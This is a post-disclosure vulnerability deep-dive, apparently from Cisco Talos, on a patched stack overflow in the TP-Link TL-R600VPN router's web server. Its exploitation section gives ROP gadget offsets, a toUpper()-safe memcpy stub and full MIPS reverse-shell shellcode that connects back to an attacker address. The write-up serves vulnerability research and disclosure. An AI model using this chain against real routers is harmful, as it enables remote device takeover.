Introduction

TP-Link recently patched three vulnerabilities in their TL-R600VPN gigabit broadband VPN router, firmware version 1.3.0. Cisco Talos publicly disclosed these issues after working with TP-Link to ensure that a patch was available. Now that a fix is out there, we want to take the time to dive into the inner workings of these vulnerabilities and show the approach we took with our proof-of-concept code.

Background

The TP-Link TL-R600VPN is a five-port small office/home office (SOHO) router. This device contains a Realtek RTL8198 integrated system on a chip. This particular chip uses an offshoot of the MIPS-1 architecture developed by Lexra. Except for a few proprietary instructions for handling unaligned load and store operations, these two instruction sets are essentially the same. The instructions that are not included in Lexra are LWL, SWL, LWR, and SWR. These proprietary instructions are often used when compiling a program for the more common MIPS-1 architecture and cause a segfault when encountered in Lexra. The knowledge of this key difference is imperative to assembling working code for the target.

For more information about Lexra MIPS and its differences with the MIPS-1 architecture, refer to 'The Lexra Story' and the MIPS-1 patent filing.

Recon

Understanding the vulnerability

The device contains a vulnerability in the way that the HTTP server handles requests to the /fs/ directory, allowing an authenticated attacker to remotely execute code on the device.

When accessing any of the following pages in the /fs/ directory, the application incorrectly parses the passed HTTP header.

  • http://<router_ip>/fs/help
  • http://<router_ip>/fs/images
  • http://<router_ip>/fs/frames
  • http://<router_ip>/fs/dynaform
  • http://<router_ip>/fs/localiztion (NOTE: this is not a typo)
    In the function 'httpGetMimeTypeByFileName', the web server attempts to parse the file extension of the requested page to determine its mime type. During this processing, the server uses a strlen() call to determine the length of the requested page name, seeks to the end of that heap-allocated string, and reads the file extension backwards until it encounters a period (0x2e).

## calculates the length of the uri and seeks to the end#LOAD:00425CDC loc_425CDC:LOAD:00425CDC                 la $t9, strlenLOAD:00425CE0                 sw $zero, 0x38+var_20($sp)LOAD:00425CE4                 jalr $t9 ; strlenLOAD:00425CE8                 sh $zero, 0x38+var_1C($sp)LOAD:00425CEC                 addu $s0, $v0# looks for a period at the current index and break out when foundLOAD:00425CF0                 li $v0, 0x2E            LOAD:00425CF4                 lbu $v1, 0($s0)LOAD:00425CF8                 lw $gp, 0x38+var_28($sp)LOAD:00425CFC                 beq $v1, $v0, loc_425D14LOAD:00425D00                 li $v1, 0b101110LOAD:00425D04# loop backwards until a period is found, loading the character into $s0LOAD:00425D04 loc_425D04:                                                LOAD:00425D04                 addiu $s0, -1LOAD:00425D08                 lbu $v0, 0($s0)             LOAD:00425D0C                 bne $v0, $v1, loc_425D04LOAD:00425D10                 nop


There should always be an extension on the requested page, preventing the vulnerable case from occurring. This can be seen in the GDB strings output below for the non-malicious page /web/dynaform/css_main.css where the file extension 'css' will be parsed out.

0x67a170:        "/web/dynaform/css_main.css"
0x67a18b:        "46YWRtaW4="
0x67a196:        "\nConnection: close\r\n\r\nWRtaW4=\r\nConnection: close\r\n\r\n6YWRtaW4=\r\nConnection: close\r\n\r\n46YWRtaW4=\r\nConnection: close\r\n\r\ntaW4=\r\nConnection: close\r\n\r\n http://192.168.0.1/\r\nAuthorization: Basic YWRtaW46YWRt"...
0x67a25e:        "aW4=\r\nConnection: close\r\n\r\nnnection: close\r\n\r\n"
0x67a28d:        ""
0x67a28e:        ""
0x67a28f:        ""
0x67a290:        ""

If, however, we request one of the vulnerable pages we can see that the URI that gets parsed does not contain a period (0x2e). Due to this, the application will continue to search backwards until a period is reached. In this case, there is not a period between the URI being parsed and the raw GET request data stored earlier on the heap (shown below at address 0x679960), allowing us to seek backwards into our payload. This can be seen at address 0x67a170 in the GDB strings output below for the malicious page /fs/help where no file extension is being parsed.

..
0x679960:        "/fs/help"
0x679969:        "elp"
0x67996d:        "HTTP/1.1"
0x679976:        "\n"
0x679978:        "ost: 192.168.0.1\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q"...
0x679a40:        "=0.5\r\nAccept-Encoding: gzip, deflate\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\n\r\n"
0x679ac1:        ""
0x679ac2:        ""
0x679ac3:        ""
0x679ac4:        ""
0x679ac5:        ""
...
0x67a165:        "gp"
0x67a169:        ""
0x67a16a:        "\b"
0x67a16c:        ""
0x67a16d:        ""
0x67a16e:        ""
0x67a16f:        ""
0x67a170:        "/web/help"
0x67a17a:        "secure-Requests"
0x67a18a:        " 1"
0x67a18d:        "\n\r\nure-Requests: 1\r\n\r\nclose\r\nUpgrade-Insecure-Requests: 1\r\n\r\nUpgrade-Insecure-Requests: 1\r\n\r\n\nUpgrade-Insecure-Requests: 1\r\n\r\nsic YWRtaW46YWRtaW4=\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\n\r\na"...
0x67a255:        "tion: Basic YWRtaW46YWRtaW4=\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\n\r\nure-Requests: 1\r\n\r\n"
0x67a2ba:        ""
0x67a2bb:        ""
0x67a2bc:        ""
... 

When a period is encountered, in either the expected file extension or the vulnerable case, the extracted string is processed by the toUpper() function, character by character, in the loop. The result of this operation is then written to a stack-based buffer by a store byte instruction. This can be seen in the instructions pulled from the aforementioned loop, which can be seen below.

#
# loads parsed data onto stack via a store byte call from $s0 register
#
LOAD:00425D20 loc_425D20:
LOAD:00425D20                 lbu $a0, 0($a0)
# returns an uppercase version of the character where possible
LOAD:00425D24                 jalr $t9 ; toUpper
LOAD:00425D28                 nop
# $gp references $s2, the place for the next char on the stack buffer
LOAD:00425D2C                 lw $gp, 0x38+var_28($sp)
# stores the character into $s2
LOAD:00425D30                 sb $v0, 0($s2)
LOAD:00425D34
# calculates the length of the entire user-supplied string
LOAD:00425D34 loc_425D34:
LOAD:00425D34                 la $t9, strlen
LOAD:00425D38                 jalr $t9 ; strlen
# place a pointer to the parsed data into arg0
LOAD:00425D3C                 move $a0, $s0
LOAD:00425D40                 addiu $v1, $sp, 0x38+var_20
LOAD:00425D44                 lw $gp, 0x38+var_28($sp)
LOAD:00425D48                 sltu $v0, $s1, $v0
LOAD:00425D4C                 addu $a0, $s0, $s1
LOAD:00425D50                 addu $s2, $v1, $s1
LOAD:00425D54                 la $t9, toupper

The program continues execution until it reaches the httpGetMimeTypeByFileName function epilogue where the return address and five registers are loaded from their saved values on the stack. When the vulnerability is being exploited, these saved values have been overwritten from their normal data to contain the addresses of the gadgets described later.

#
# registers get overwritten with saved values on the stack
#
LOAD:00425DB4 loc_425DB4:
LOAD:00425DB4
LOAD:00425DB4                 lw $ra, 0x38+var_4($sp)
LOAD:00425DB8                 lw $s4, 0x38+var_8($sp)
LOAD:00425DBC                 lw $s3, 0x38+var_C($sp)
LOAD:00425DC0                 lw $s2, 0x38+var_10($sp)
LOAD:00425DC4                 lw $s1, 0x38+var_14($sp)
LOAD:00425DC8                 lw $s0, 0x38+var_18($sp)
LOAD:00425DCC                 jr $ra
LOAD:00425DD0                 addiu $sp, 0x38
LOAD:00425DD0  # End of function httpGetMimeTypeByFileName

At this point in the function epilogue, the loop copying data to a set buffer has overwritten the original data on the stack. By popping the data off of the stack that the program expects to be unmodified, the user gains control of the return address. This also means the user has the ability to remotely execute code in the context of the HTTPD process.

toUpper() filter

During the initial parsing of the HTTP header, the device iterates over each byte searching for a period (0x2e) and building a buffer. After a period is encountered, the buffer is passed to a toUpper() call, converting each ASCII character in the buffer to its uppercase equivalent.

LOAD:00425D20 loc_425D20:
LOAD:00425D20                 lbu $a0, 0($a0)
# returns an upper case version of the character where possible
LOAD:00425D24                 jalr $t9 ; toUpper
LOAD:00425D28                 nop  This creates a problem when attempting to send shellcode via the HTTP header, as there is no way to avoid the toUpper() call, preventing the use of any lowercase characters. Take the GET request below, for example.
GET /fs/help HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa a
Content-Length: 2
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Length: 4

We can see that the 'a' characters (0x61) in our header have been converted to their uppercase version (0x41) by looking at the registers just before the final jump in the httpGetMimeTypeByFileName function epilogue is executed.

(GDB) i r
i r
zero at       v0 v1 a0       a1 a2 a3
R0   00000000 10000400 00514004 00000035 7dfff821 0051432d 01010101 80808080
t0 t1      t2 t3 t4       t5 t6 t7
R8   00000002 fffffffe 00000000 00000006 19999999 00000000 00000057 00425d2c
s0 s1      s2 s3 s4       s5 s6 s7
R16  41414141 41414141 41414141 41414141 41414141 006798f4 006798d0 00000000
t8 t9      k0 k1 gp       sp s8 ra
R24  00000132 2ab02820 00000000 00000000 00598790 7dfff808 7dfffa62 41414141
status lo hi badvaddr    cause pc
0000040c 00059cf8 000001fa 00590cac 00000024 00425dcc
(GDB)  

What do we have here

Additional examination of the registers shown above revealed that a pointer to a location predictably close to the original header data is left laying around after the toUpper() call.

While broken on the final jump in the httpGetMimeTypeByFileName function epilogue, we can examine the data on the stack and find that a portion of our now uppercase header data, including the payload, is stored there.

(GDB) x/32s $sp
x/32s $sp
0x7dfff808:      ""
0x7dfff809:      ""
...
0x7dfff81f:      ""
0x7dfff820: "5\r\n", 'A' <repeats 197 times>...
0x7dfff8e8:      'A' <repeats 200 times>...
0x7dfff9b0:      'A' <repeats 200 times>...
0x7dfffa78:      'A' <repeats 200 times>...
0x7dfffb40:      'A' <repeats 143 times>, "\r\nCONTENT-LENGTH: 0\r\nACCEPT-ENCODING: GZIP, DEFLATE\r\nAUTH"...
0x7dfffc08:      "ORIZATION: BASIC YWRTAW46YWRTAW4=\r\nCONNECTION: KEEP-ALIVE\r\nUPGRADE-INSECURE-REQUESTS: 1\r\nCONTENT-LENGTH: 0\r\n\r\n"
0x7dfffc77:      ""
0x7dfffc78:      ""
0x7dfffc79:      ""
...
(GDB)

By contrast, if we examine the data following the location pointed to by register $s5, we see that the raw header data is still accessible.

(GDB) x/32s $s5+0x64
x/32s $s5+0x64
0x679958:        ""
0x679959:        ""
...
0x67995f:        ""
0x679960:        "/fs/help"
0x679969:        "elp"
0x67996d:        "HTTP/1.1"
0x679976: "\n"
0x679978:        "ost: 192.168.0.1\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q"...
0x679a40:        "=0.5\r\n", 'a' <repeats 194 times>...
0x679b08:        'a' <repeats 200 times>...
0x679bd0:        'a' <repeats 200 times>...
0x679c98:        'a' <repeats 200 times>...
0x679d60:        'a' <repeats 146 times>, "\r\nContent-Length: 0\r\nAccept-Encoding: gzip, deflate\r\nA"...
0x679e28:        "uthorization: Basic YWRtaW46YWRtaW4=\r\nConnection: keep-alive\r\nUpgrade-Insecure-Requests: 1\r\nContent-Length: 0\r\n\r\n"
0x679e9a:        ""
0x679e9b:        ""
...
(GDB)  

Examining the permissions for that section of memory revealed that the range is executable, giving an initial thought of jumping directly to the raw header.

# cat /proc/12518/maps
cat /proc/12518/maps
00400000-00538000 r-xp 00000000 1f:02 69         /usr/bin/httpd
00578000-00594000 rw-p 00138000 1f:02 69         /usr/bin/httpd
00594000-006a6000 rwxp 00000000 00:00 0          [heap]
2aaa8000-2aaad000 r-xp 00000000 1f:02 359        /lib/ld-uClibc-0.9.30.so
2aaad000-2aaae000 rw-p 00000000 00:00 0
2aaae000-2aab2000 rw-s 00000000 00:06 0          /SYSV0000002f (deleted)
2aaec000-2aaed000 r--p 00004000 1f:02 359        /lib/ld-uClibc-0.9.30.so
...
7f401000-7f600000 rwxp 00000000 00:00 0
7fcf7000-7fd0c000 rwxp 00000000 00:00 0          [stack]

This ended up not being a worthwhile path due to limitations introduced by toUpper() and an earlier strcmp(). The usage of toUpper() created a condition where any lower case letter had to be considered a bad character. Additionally, since our data passes through a strcmp() call, we could not use any null bytes. These calls left us unable to use any of the following bytes: 0x00, 0x61-0x7a.

Exploitation

Bypassing toUpper()

To get around the issue posed by toUpper(), we created a small piece of code calling memcpy() that does not use any lowercase characters or null bytes to execute after gaining control of $ra. With this code, we were able to copy the header data onto the stack in its original form and jump to it for execution.

move    $a0, $t9         # put the stack pointer into arg1
addiu   $a0, 0x12C       # increase arg1 so we don’t overwrite this code
addiu   $a1, $s5, 0x198  # load the raw header data pointer into arg2
li      $a2, 0x374       # load the size into arg3
li      $t9, 0x2AB01E20  # load $t9 with the address of memcpy()
jalr    $t9         # call memcpy()
move    $t8, $t3         # placeholder to handle delay slot without nulls
move    $t9, $sp         # prep $t9 with the stack pointer
addiu   $t9, 0x14C       # increase the $t9 pointer to the raw header
jalr    $t9 # execute the raw header on the stack
move    $t8, $t3         # placeholder to handle delay slot without nulls

Before we could use this technique, we needed to find a way to gain execution of our memcpy() code. On this device we are fortunate to have an executable stack, however, we did not know where our code would end up. We ended up using a modified ret2libc technique, allowing us to leverage gadgets from uClibc to obtain a pointer to the stack and set up registers for our code.

Our first gadget, located at the uClibc offset address of 0x0002fc84, was used to increment the stack pointer by 0x20 to get past any of the memcpy shellcode. To ensure that control of the program execution was retained after this gadget returned we placed the address of our second gadget at the location 0x20+$sp as required below.

LOAD:0002FC84                 lw $ra, 0x20+var_8($sp)
LOAD:0002FC88                 jr $ra
LOAD:0002FC8C                 addiu $sp, 0x20 

The second gadget, located at the uClibc offset address of 0x000155b0, was used to obtain a pointer to the incremented stack buffer. This placed the desired pointer into register $a1. We placed the address of our third gadget at the location 0x58+$sp as required below to ensure that control of the program execution was retained after this gadget returned.

LOAD:000155B0                 addiu $a1, $sp, 0x58+var_40
LOAD:000155B4                 lw $gp, 0x58+var_48($sp)
LOAD:000155B8                 sltiu $v0, 1
LOAD:000155BC                 lw $ra, 0x58+var_8($sp)
LOAD:000155C0                 jr $ra
LOAD:000155C4                 addiu $sp, 0x58

Finally, a gadget located at the uClibc offset address of 0x000172fc was used to jump into the stack buffer.

LOAD:000172FC                 move $t9, $a1
LOAD:00017300                 move $a1, $a2
LOAD:00017304                 sw $v0, 0x4C($a0)
LOAD:00017308                 jr $t9
LOAD:0001730C                 addiu $a0, 0x4C # 'L'

We needed to obtain uClibc's load address so that we could calculate the gadget's true location to successfully use these gadgets. Looking at the process memory map below, we can see that the executable version of uClibc is loaded at the address 0x2aaee000.

# cat /proc/12518/maps
cat /proc/12518/maps
00400000-00538000 r-xp 00000000 1f:02 69         /usr/bin/httpd
00578000-00594000 rw-p 00138000 1f:02 69         /usr/bin/httpd
00594000-006a6000 rwxp 00000000 00:00 0          [heap]
2aaa8000-2aaad000 r-xp 00000000 1f:02 359        /lib/ld-uClibc-0.9.30.so
2aaad000-2aaae000 rw-p 00000000 00:00 0
2aaae000-2aab2000 rw-s 00000000 00:06 0          /SYSV0000002f (deleted)
2aaec000-2aaed000 r--p 00004000 1f:02 359        /lib/ld-uClibc-0.9.30.so
2aaed000-2aaee000 rw-p 00005000 1f:02 359        /lib/ld-uClibc-0.9.30.so
2aaee000-2ab21000 r-xp 00000000 1f:02 363        /lib/libuClibc-0.9.30.so
2ab21000-2ab61000 ---p 00000000 00:00 0
2ab61000-2ab62000 rw-p 00033000 1f:02 363        /lib/libuClibc-0.9.30.so
2ab62000-2ab66000 rw-p 00000000 00:00 0
2ab66000-2ab68000 r-xp 00000000 1f:02 349        /lib/librt-0.9.30.so
2ab68000-2aba7000 ---p 00000000 00:00 0
...
7f001000-7f200000 rwxp 00000000 00:00 0
7f200000-7f201000 ---p 00000000 00:00 0
7f201000-7f400000 rwxp 00000000 00:00 0
7f400000-7f401000 ---p 00000000 00:00 0
7f401000-7f600000 rwxp 00000000 00:00 0
7fcf7000-7fd0c000 rwxp 00000000 00:00 0          [stack] 

By taking the load address of uClibc and adding it to the offset address obtained for each of the gadgets, we can get the usable address of the desired code. These addresses can then be strategically placed, causing the execution of our initial code, and subsequently, our payload.

LexraMIPS shellcode

While LexraMIPS is based off of the MIPS specification, it does deviate enough to cause inconsistencies when attempting to execute some standard MIPS instructions. Due to this, we chose to develop shellcode specifically for LexraMIPS, using a GCC toolchain found here. The code below takes the approach of creating a connection back to the attacker, duplicating stdin, stdout, and stderr into the socket file descriptor, and finally spawning a shell.

We start by opening a socket on the device, leveraging a nor technique to avoid any null bytes in our $t7 register. It should be noted that the MIPS $zero register does not contain any null bytes when used.

li $t7, -6           # set up $t7 with the value 0xfffffffa
nor $t7, $t7, $zero  # nor $t7 with zero to get the value 0x05 w/o nulls
addi $a0, $t7, -3    # $a0 must hold family (AF_INET - 0x02)
addi $a1, $t7, -3    # $a1 must hold type (SOCK_STREAM - 0x02)
slti $a2, $zero, -1  # $a2 must hold protocol (essentially unset - 0x00)
li $v0, 4183         # sets the desired syscall to 'socket'
syscall 0x40404      # triggers a syscall, removing null bytes

With a socket opened, we use a connect syscall to create a TCP connection from the device to the attacker. Null bytes were a particular issue in this step, as the default subnet for this device contained a zero. To avoid this issue, we leverage a technique that forced our prepped register values to overflow and result in the desired IP address without using null bytes.

sw $v0, -36($sp)     # puts the returned socket reference onto the stack
lw $a0, -36($sp)     # $a0 must hold the file descriptor - pulled from the stack
sw $a1, -32($sp)     # place socket type (SOCK_STREAM - 0x02) onto the stack
lui $t7, 8888        # prep the upper half of $t7 register with the port number
ori $t7, $t7, 8888   # or the $t7 register with the desired port number
sw $t7, -28($sp)     # place the port onto the stack
lui $t7, 0xc0a7      # put the first half of the ip addr into $t7 (192.166)
ori $t7, 0xff63      # put the second half of the ip addr into $t7 (255.99)
addiu $t7, 0x101     # fix the ip addr (192.166.255.99 --> 192.168.0.100)
sw $t7, -26($sp)     # put the ip address onto the stack
addiu $a1, $sp, -30  # put a pointer to the sockaddr struct into $a1
li $t7, -17          # load 0xffef into $t7 for later processing
nor $a2, $t7, $zero  # $a2 must hold the address length - 0x10
li $v0, 4170         # sets the desired syscall to 'connect'
syscall 0x40404      # triggers a syscall, removing null bytes

To ensure that the device accepted our input and properly displayed any output, it is necessary to duplicate the stdin, stdout, and stderr file descriptors. By duplicating each of these I/O file descriptors into our socket, we are able to successfully provide input to the device and view any output via the recently set up connection.

lw $t7, -32($sp)     # load $t7 for later file descriptor processing
lw $a0, -36($sp)     # put the socket fd into $a0
lw $a1, -32($sp)     # put the stderr fd into $a1
li $v0, 4063         # sets the desired syscall to 'dup2'
syscall 0x40404      # triggers a syscall, removing null bytes
lw $t7, -32($sp)     # load $t7 for later file descriptor processing
lw $a0, -36($sp)     # put the socket fd into $a0
addi $a1, $t7, -1    # put the stdout fd into $a1
li $v0, 4063         # sets the desired syscall to 'dup2'
syscall 0x40404      # triggers a syscall, removing null bytes
lw $t7, -32($sp)     # load $t7 for later file descriptor processing
lw $a0, -36($sp)     # put the socket fd into $a0
addi $a1, $t7, -2    # put the stdin syscall into $a1
li $v0, 4063         # sets the desired syscall to 'dup2'
syscall 0x40404      # triggers a syscall, removing null bytes

Finally, we use an execve system call to spawn a shell locally on the device. Since this shell is spawned from our socket, and we already have control over stdin/stdout/stderr, we can control the new shell remotely through our connection.

lui $t7, 0x2f2f      # start building the command string    --> //
ori $t7, $t7, 0x6269 # continue building the command string --> bi
sw $t7, -20($sp)     # put the string so far onto the stack
lui $t7, 0x6e2f      # continue building the command string --> n/
ori $t7, $t7, 0x7368 # continue building the command string --> sh
sw $t7, -16($sp)     # put the next portion of the string onto the stack
sw $zero, -12($sp)   # null terminate the command string
addiu $a0, $sp, -20  # place a pointer to the command string into arg 1
sw $a0, -8($sp)      # place a pointer to the command string array onto the stack
sw $zero, -4($sp)    # null terminate the array
addiu $a1, $sp, -8   # load the pointer to our command string array into arg 2
slti $a2, $zero, -1  # sets $a2 to 0
li $v0, 4011         # sets the desired syscall to 'execve'
syscall 0x40404      # triggers a syscall, removing null bytes

With a functional shell on the device, we can continue with our post-exploitation analysis of the device.

Conclusion

Unfortunately, these types of vulnerabilities are all to common in IoT devices. Attackers can find these issues and weaponize them to execute code on vulnerable devices. It is imperative that everyone realizes that IoT devices are computers, and like all computers, the software must be maintained to ensure the device is as secure as possible.

Talos will continue to discover and responsibly disclose vulnerabilities, working with vendors to ensure that customers are protected and provide additional deep-dive analysis when necessary. Finding and disclosing zero-day vulnerabilities via coordinated disclosure helps improve the overall security of the devices and software people use on a day-to-day basis. Talos is committed to this effort, developing programmatic ways to identify problems or flaws that could be otherwise exploited by malicious attackers.

For vulnerabilities Talos has disclosed, please refer to our vulnerability report portal.

You can also review our vulnerability disclosure policy here.